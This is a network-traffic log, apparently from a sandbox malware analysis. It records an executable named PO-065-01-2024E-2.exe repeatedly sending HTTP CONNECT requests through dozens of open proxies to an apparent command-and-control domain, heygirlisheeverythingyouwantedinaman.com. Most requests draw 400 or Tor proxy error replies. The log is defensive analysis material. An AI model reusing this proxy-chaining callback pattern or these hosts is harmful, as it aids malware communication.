Mar 11, 2024 16:39:47.479973078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.10	51638	51.158.125.135	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.326282024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.887787104 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.10	51669	198.57.229.185	64767	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.326889038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.10	52475	72.210.221.223	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.329298019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.10	51601	94.131.107.45	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.329751968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.410695076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411936998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411706924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.504481077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.613785028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.10	50052	202.166.219.80	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.331777096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.410692930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411931992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411708117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.504462004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.613879919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.10	52485	51.79.87.144	54395	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.331945896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.10	52472	1.15.62.12	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.331975937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.10	52523	162.120.71.11	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.335971117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.570297956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.10	52477	43.163.192.3	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.338243961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.10	50103	146.59.18.246	40975	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.349436998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.410851955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411957979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411720991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.504482031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.613930941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.613903046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.613760948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:47.660533905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.10	52540	23.19.244.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.349553108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.10	51650	213.16.81.147	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.350363970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.10	52576	172.67.182.38	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.353513956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.508178949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.10	52588	104.21.102.95	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.356376886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.511152029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.10	52476	43.129.228.46	7891	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.356870890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.10	52458	60.12.168.114	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.360975981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.870981932 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 16:18:31 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.10	52634	43.153.58.204	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.363703012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.10	52636	43.153.58.204	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.364984989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.10	52637	43.153.58.204	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.366580963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.10	52640	43.153.58.204	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.368181944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.10	51553	103.48.69.113	83	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.376823902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.410911083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411958933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.10	50263	162.241.46.40	49401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.377939939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.473491907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.482270002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489237070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
